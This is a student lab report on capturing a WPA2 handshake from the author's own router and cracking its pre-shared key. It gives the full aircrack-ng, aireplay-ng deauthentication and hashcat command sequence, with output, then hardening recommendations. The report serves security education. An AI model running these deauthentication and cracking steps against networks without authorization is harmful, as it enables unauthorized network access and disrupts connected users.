

WPA2 Handshake Capture & Cracking Lab Report

Name: Ibrahim Khalid

Objective

To understand the practical mechanics of the WPA2 4-way handshake and its offline dictionary-attack surface by deploying a wireless penetration testing environment on Kali Linux, capturing a live authentication handshake from a controlled access point, and recovering the pre-shared key (PSK) using aircrack-ng and hashcat.

1. Lab Environment Setup

A virtualized lab was built using Oracle VirtualBox running Kali Linux as a guest VM, with an Alfa AWUS036ACH USB wireless adapter (RTL8812AU chipset) passed through via USB 3.0 (xHCI) for monitor-mode and packet-injection capability. The target access point was a home router owned and controlled by the operator, configured with WPA2-PSK for the duration of the test.

1.1 Lab Topology

Role	Device	Identifier	Notes
Attacker / Capture Sensor	Kali Linux VM	wlan0 (monitor mode)	Alfa AWUS036ACH, USB 3.0 passthrough
Target AP	Home Router (Test1)	D8:07:B6:E1:55:C0	WPA2-PSK, Channel 9, owned device
Associated Client	Wireless station	1A:2A:09:2B:9F:4D	Used to trigger handshake via deauth

The adapter was passed through to the Kali VM using a USB filter matched to the device's vendor/product ID, with the VM's USB Controller set to USB 3.0 (xHCI) — required for monitor-mode adapters, as USB 1.1 passthrough is too slow/unreliable for packet capture and injection.

2. Driver and Interface Setup

The RTL8812AU chipset required the community driver, installed via DKMS, since the in-kernel driver support for this chipset is inconsistent across Kali releases.

```
git clone https://github.com/aircrack-ng/rtl8812au.git
cd rtl8812au
sudo make dkms-install
```

After reinstalling drivers and killing conflicting processes (NetworkManager/wpa_supplicant), the adapter was placed into monitor mode directly using iw rather than relying on airmon-ng's interface renaming, since this driver keeps the original interface name (wlan0) instead of creating a wlan0mon alias:

```
sudo airmon-ng check kill
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
iwconfig wlan0      # confirm Mode:Monitor
```

Verification confirmed wlan0 was in Mode:Monitor at 2.447 GHz. The target AP (Test1) was broadcasting on channel 9, so the interface was explicitly locked to that channel by passing -c 9 directly to airodump-ng rather than relying on manual iwconfig channel changes, which did not reliably persist on this driver.

3. Handshake Capture

3.1 Targeted Capture

The capture was scoped to the target BSSID and channel only, to avoid collecting traffic from any other network in range:

```
sudo airodump-ng --bssid D8:07:B6:E1:55:C0 -c 9 -w test1_capture wlan0
```

3.2 Forcing a Handshake

With a client already associated to the target AP, a targeted deauthentication was sent to force a reconnect and capture the resulting 4-way handshake:

```
sudo aireplay-ng --deauth 5 -a D8:07:B6:E1:55:C0 -c 1A:2A:09:2B:9F:4D wlan0
```

airodump-ng confirmed a successful capture in real time, reporting the associated station with EAPOL frames noted against it, and a WPA handshake flag against the target BSSID.

4. Handshake Verification and Conversion

The capture file was first validated directly with aircrack-ng to confirm a complete handshake had been recorded:

```
aircrack-ng test1_capture-01.cap
```

#	BSSID	ESSID	Encryption
1	D8:07:B6:E1:55:C0	Test1	WPA (1 handshake)

The capture was then converted to hashcat's 22000 format (WPA-PBKDF2-PMKID+EAPOL) using hcxpcapngtool:

```
hcxpcapngtool -o test1.hc22000 test1_capture-01.cap
```

hcxpcapngtool reported 1 valid EAPOL pair written to the hash file (RC-checked). It also flagged several informational warnings — missing radiotap headers, missing probe-request/association frames, and insufficient M1 frames for nonce-error-correction — all expected artifacts of a plain airodump-ng .cap capture rather than a native hcxdumpntool capture, and none of which prevented a valid crackable pair from being extracted.

5. Offline Dictionary Attack

5.1 aircrack-ng

```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b D8:07:B6:E1:55:C0 test1_capture-01.cap
[00:00:04] 72557/14344392 keys tested (16412.10 k/s)
KEY FOUND! [ 1q2w3e4r5t6y7u8i9o0p ]
```

5.2 hashcat (mode 22000)

```
hashcat -m 22000 test1.hc22000 /usr/share/wordlists/rockyou.txt
Device #01: cpu-haswell-AMD Ryzen 5 7430U, 8MCU
Speed.#01.....: 7951 H/s
88e81d72239ed55714f65506b2894c0c:d807b6e155c0:1a2a092b9f4d:Test1:1q2w3e4r5t6y7u8i9o0p
Recovered.....: 1/1 (100.00%) Digests (total)
```

Both tools independently recovered the identical PSK: 1q2w3e4r5t6y7u8i9o0p. The key was found at roughly 0.34% into the 14.3-million-entry rockyou.txt wordlist, in under 5 seconds of wall-clock time on a CPU-only (no GPU passthrough) hashcat run at ~7,951 H/s.

6. Findings and Analysis

Stage	Result	Notes
Monitor mode / injection	Successful	Required community RTL8812AU DKMS driver; native driver was unreliable
Handshake capture	Successful	Achieved via targeted deauth against an associated client
PMKID capture (no client)	Not attempted	Handshake-based capture was sufficient; hcxdumpool PMKID method available as fallback
Offline dictionary crack	Successful	Password matched a keyboard-walk pattern present near the top of rockyou.txt
Root cause of compromise	Weak PSK	Password structure (sequential keyboard pattern), not a protocol flaw

The password 1q2w3e4r5t6y7u8i9o0p is a keyboard-walk pattern (alternating top/bottom keyboard rows). While 20 characters long, its predictable structure places it very early in frequency-sorted wordlists such as rockyou.txt, which is why it was recovered in seconds despite its length — length alone does not confer resistance to dictionary attacks when the underlying pattern is common.

This exercise demonstrates a protocol-level property of WPA2-PSK rather than an implementation flaw in the router: the 4-way handshake is a static, capturable value that can always be attacked offline once observed, so WPA2's practical security rests entirely on PSK strength and unpredictability. A WPA3-SAE network, by contrast, would not have yielded a crackable hash from this same capture-and-convert workflow, since SAE's zero-knowledge handshake cannot be brute-forced offline from a passive capture.

7. Recommendations

- Use a long, high-entropy, non-pattern-based PSK (randomly generated, 16+ characters) rather than a memorable or keyboard-adjacent string.
- Where hardware supports it, migrate to WPA3-SAE or WPA2/WPA3-Transitional mode, understanding that transitional mode still permits a WPA2 downgrade path for a device that specifically forces it.
- Disable WPS if enabled, as it presents a separate, unrelated attack surface (PIN brute-force) from the handshake-based attack demonstrated here.
- Periodically audit household/organizational Wi-Fi passwords against common wordlists (rockyou.txt or similar) as a proactive hardening check, in the same way credential audits are run against user account passwords.

8. Reflection

This lab provided hands-on experience with the complete WPA2 offline-cracking pipeline: bringing a USB wireless adapter into monitor mode inside a VirtualBox VM, correctly scoping a capture to a single BSSID/channel, forcing a handshake via targeted deauthentication, and converting/cracking the result with both aircrack-ng and hashcat.

The most instructive troubleshooting moment was discovering that the RTL8812AU driver does not create a separate wlan0mon interface the way airmon-ng traditionally expects — it places the original wlan0 interface directly into monitor mode. This is a good reminder that tool documentation and default workflows (like relying on airmon-ng's automatic interface renaming) don't always hold across different chipsets and drivers, and that verifying actual interface state with iwconfig/iw at each step is more reliable than assuming a command succeeded.

Seeing aircrack-ng and hashcat independently converge on the same recovered key, and observing how quickly a keyboard-walk pattern fell despite its length, reinforced that WPA2's real-world security is a direct function of password unpredictability rather than protocol strength alone — and clarified concretely why WPA3-SAE's move away from a capturable static handshake represents a meaningful architectural improvement rather than an incremental one.